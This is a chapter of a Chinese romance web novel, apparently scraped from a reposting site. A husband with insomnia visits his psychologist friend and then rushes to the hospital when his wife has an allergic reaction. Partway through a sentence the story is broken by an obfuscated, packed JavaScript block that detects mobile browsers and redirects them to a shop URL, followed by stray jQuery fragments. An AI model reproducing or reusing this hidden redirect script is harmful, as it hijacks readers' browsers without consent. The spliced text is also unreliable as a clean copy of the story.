10. 深秋

    Chapter10


    -


    夜色已深,静谧的卧室里,柔软的大床上平躺着两个人。


    秦映夏本来翻个身要睡了,可她的余光总是能扫到许廷州在揉着额头。


    喝了那么多酒,不用想也知道有多难受。


    换个别的人,可能早就喝趴下了,但是许廷州也仅仅是头不舒服,不知道他酒量怎么这么好。


    秦映夏轻叹了口气,认命地掀开被子从床上下来,趿拉上拖鞋。


    知道许廷州并没有睡着,她打开了自己那侧的床头灯,走去置物格前,选了一个清新又带有冷冽感的香薰蜡烛,返回床边,走到许廷州那侧。


    许廷州一点睡意也没有,头疼搅得他更是睡不着。


    在秦映夏掀被子的时候他就睁开了眼。


    只见秦映夏捞起他那边床头柜上的黑金打火机,拇指往下一搓,一束火光冒出来,点燃了绿色蜡烛瓶里的烛芯。


    烛光一闪一闪,香薰蜡烛被秦映夏放在了距他一米以外的小桌上,又将打火机归位。


    旋即便听她说:“等蜡烛燃一燃,味道散发出来,你就没有那么难受了。”


    她的语气很轻,不再像之前那样锐利。


    惹得许廷州有一瞬的恍惚。


    秦映夏没想着许廷州会给她多好的反应,所以压根不等他说话,自己又返回另一侧,拖鞋上床,重新盖好被子。


    果不其然,许廷州只是“噢”了一声。


    算了,不跟没礼貌的人一般见识。


    时间快逼近十二点,秦映夏的睡意已然来袭。


    在她意识涣散,快要睡着的时候,大脑里还下意识地想着香薰蜡烛。


    她在睡意朦胧中嘟囔了一句:“许廷州你好点没?”


    声音更轻,如果不仔细听,都不能分辨出那话是梦话还是真的在询问他。


    那杯蜡烛散出来的清爽的青柠味中,夹杂着一丝微涩的柑橘调,再仔细闻,会有一股温暖的木质香调。


    罗勒柑橘与百里香相互缠绵,生出的一种非常自然的清新植物感。


    这个味道,也的的确确缓解了他的头疼问题。


    在安静的空间内,许廷州偏头看向身边的秦映夏。


    她背对他侧躺,被子盖到她的肩膀以下,露出一点圆润的肩头。


    可能因为这几天,他们都有在按照商议好的方案执行,没有产生太多不满的地方,所以相处得勉强算可以。


    床大,被子也大,他们中间再睡一个人完全没有问题。


    所以在床上,他们各自在自己的界限内活动,秦映夏大抵也放低了对他的防备心。


    许廷州轻“嗯”一声。


    他在回答秦映夏的问题。


    秦映夏似乎就是在等他的回答,因为她还说了下一句:“睡觉前记得灭蜡烛。”


    顷刻后,许廷州便听到了秦映夏均匀的呼吸声。


    她睡着了。


    在漆黑的环境中,许廷州的唇角几不可察地弯了弯。


    又过了几分钟,等她睡熟,他探起身,伸长手臂,越过那条只存在于秦映夏口中的三八线,轻轻地,帮秦映夏扯了扯被子,将她的肩膀一并盖住,这才又躺回到床上。


    ——


    第二天上午,许廷州按照昨天跟陈奈的约定,到了五楼他的心理诊疗室。


    周末,心理室几乎不接待患者,工作人员都很少。


    虽然许廷州来的次数屈指可数,但只要来,肯定就会在周末。


    看看时间,还没有八点。


    他躺在放松椅上,等待陈奈的到来。


    今天快凌晨的时候,他睡了一小会儿,已经比平时的状态好了不少。


    那杯香薰蜡烛,也在秦映夏睡着后不久就被他熄灭。


    过了一会儿,陈奈姗姗来迟。


    让他没想到的是,许廷州居然会比他先到。


    陈奈觉得他难得这么积极一次,二话不说就想即刻开始。


    许廷州知道陈奈接下来会做什么,他拒绝:“你别整你那一套了,我来,不是做心理治疗的。”


    听及此,陈奈在做准备工作的手顿住,他还弯着腰,直接转头看向他,用眼神询问他什么意思。


    许廷州从放松椅上坐起来,耸耸肩,一副无所谓的样子:“你给我开点药就行。”


    随着陈奈直起身,他补充说:“要那种剂量大,药效快的。”


    陈奈不可思议地看着许廷州,似是不敢相信他是说出这话的人。


    “昨天不是说好了吗?”早上九点,他来心理室。


    许廷州没反驳:“我这不是来了吗。”


    只是说来这里,又没答应做心理治疗,是陈奈自己想多,不能怪他。


    陈奈怔在原地,无语了大半天。


    原来,他存在的意义就是给他开药是吗。


    作为朋友,他不希望许廷州英年早逝,不希望他一直遭受失眠的折磨。


    作为医生,他希望许廷州有一个健康的心理和健康的身体。


    就许廷州现在的情况来说,他的身体已经不能再差了。


    关键是,这位患者还非常不听话,从来不按医嘱行事。


    “许廷州,我说真的,你要再这样不管不顾下去,往后神仙也救不了你。”


    陈奈表情认真,话语间带着严肃。


    许廷州嗤笑,对他的话不甚在意:“我命由我。我要不想死,谁都没办法拿走它。”


    狂妄,恣肆。


    他没有半分开玩笑的意思,语气狠厉,言语间带着果决,也透露着他对自己生命的掌控。


    这才是陈奈认识的许廷州。


    “但是,许廷州,生命的质量,你真的毫不在意吗?”陈奈没忍住,有些话不由自主地说了出来,“你现在有家庭,有妻子,你跟之前不一样了,你有责任。有些事,你真的就不打算告诉秦映夏吗?”


    随着陈奈后边话的输出,许廷州的脸肉眼可见地拉了下来,冷若冰霜。


    他戾声提醒:“陈奈,你越界了。”


    陈奈研究心理学没有十年也有八年,他怎么会不知道他的话戳到了许廷州的痛处。


    也正因为如此,许廷州狠厉的那一面才被他激发了出来。


    此刻,许廷州的眸光像冬日的夜色一样暗沉,气势凌人的脸上带着微微的怒意,薄薄的嘴唇也抿成一条直线。


    自从认识许廷州开始,他就已经有睡眠障碍了。


    但是经过多次的心理疏导与治疗,他发现许廷州从未对他放下防备,一直把自己最真实的内心封锁在一个盒子里,除了他自己,没人可以打开。


    为了挖到一点他的情况,陈奈第一次在没经过当事人允许的情况下,对他进行了催眠。


    也是那次催眠,陈奈了解了许廷州身上不可思议的经历。


    十几二十几岁的少男少女本该拥有的,那段美好的、五颜六色的青年时期,在许廷州的世界里,完全就是黑色的。


    再之后,陈奈向许廷州坦白了这件事情,许廷州当时只有一个诉求,就是把这件事永远烂在心里,陈奈也答应了他。


    不知不觉,两个人的来往越来越密切,到现在也成了朋友。


    “你别嫌我……”


    陈奈话还没说完,许廷州的手机便响起来,他没管陈奈说什么,径直接起了电话:“喂。”


    一时间没注意,还停留在刚刚的语气里。


    他声音冷的,像是腊


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14491257|154743||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    月里零下十几度的空气,能把人冻伤。


    不知道许廷州那边听到了什么,只见他的脸色瞬间凝重起来,眉头紧锁,然后二话不说直接冲出了诊疗室。


    边跑边问:“哪个医院?”


    在知道哪家医院之后,许廷州挂了电话,而这时电梯也刚刚从五楼下去。


    他根本不可能再等下一趟电梯,转身推开楼梯间的门,跑楼梯下去。


    陈奈反应过来跟出去,早已不见了许廷州的身影。


    而他不用猜也知道事情关乎谁。


    许廷州坐进车里,直奔市一院。


    原本10分钟的车程,他只用了6分钟。


    到了医院急诊,许廷州气息不稳地询问护士,找到秦映夏的病床。


    秦映夏正盖着白色的棉被,脸色苍白地合眼躺在病床上打吊瓶。


    青姨陪同在病床一侧。


    见到许廷州来,青姨立刻走到他面前,在他伶俐的目光下,完全就是一个做错事的仆人姿态。


    秦映夏也睁开了双眼。


    青姨交代事情发生的经过。


    是青姨做早饭的时候,在打的米粥里放了几颗黄豆,想让味道更香醇一些,却不知道秦映夏对这种豆子过敏。


    而秦映夏喝完之后没多久就有了身体反应,身上出现大片的红疹,也开始有胸闷的症状。


    秦映夏知道这是过敏了,她向青姨确认早饭里是不是有黄豆,青姨说是,她立刻让青姨叫车来了医院挂急诊。


    发生这样的事情,青姨很是自责,她不敢直视许廷州的眼睛,一直低着头,声音微小:“先生对不起,是我没有照顾好太太。”


    秦映夏闻言,抬眼看向许廷州,他的眼神锋利,眉头紧锁,眉眼间满是担忧。


    怕他责怪青姨,躺在病床上虚弱地发声:“别怪青姨,是我一开始就没跟青姨说明情况。”


    “没事青姨,您也别太自责,我打个吊瓶就好了。”


    纵使许廷州再生气,也不能拂了秦映夏的面子。


    他瞥一眼床上的秦映夏,强忍着心中的怒意:“青姨,麻烦你回家好好检查一遍,以后家里不能出现任何跟黄豆大豆等有关的豆制品,我不希望类似的情况再发生第二次。”


    青姨应声连忙退下了。


    阿姨前脚刚走,后脚秦映夏的手机就响了。


    秦映夏让许廷州帮她在外套里掏下手机,虽然许廷州照做,但她能感觉到他在隐忍着什么。


    是她嫂子打来的视频。


    她人在医院,不方便接视频,便转成了语音。


    下一秒,秦翊白的红润的小脸蛋出现在屏幕:“姑姑,我怎么看不到你的脸呀?”


    面对小朋友,秦映夏扯了一个善意的谎言,而她也尽量让自己的声音与平时没有区别:“姑姑在外面,不方便视频。”


    几岁的小朋友不可能听出有什么怪异,只问自己想问的问题:“姑姑,你的伤好了吗?”


    秦映夏摸了摸自己的颈侧,伤口已经结痂。


    “好了,昨天就好了,姑姑不是跟白白说过了嘛,再晚一会儿,伤口就自己愈合了。”秦映夏如是回答。


    秦翊白很乖:“哦,那姑姑你忙吧~白白改天再跟你视频~”


    “好呀~”


    话落,那边挂了电话。


    肯定是她嫂子让挂的,不然秦翊白能只对着她的头像说半天。


    秦映夏放下手机,抬眸看向许廷州的时候,发现许廷州恰好也在看着她,而且目不转睛,看得她心里直发毛。


    忽而想起许廷州刚刚的行为动作,秦映夏不免疑惑,小声嘀咕:“你戏演得有点过了吧?”


    她怎么觉得,许廷州完全是在真情实感呢?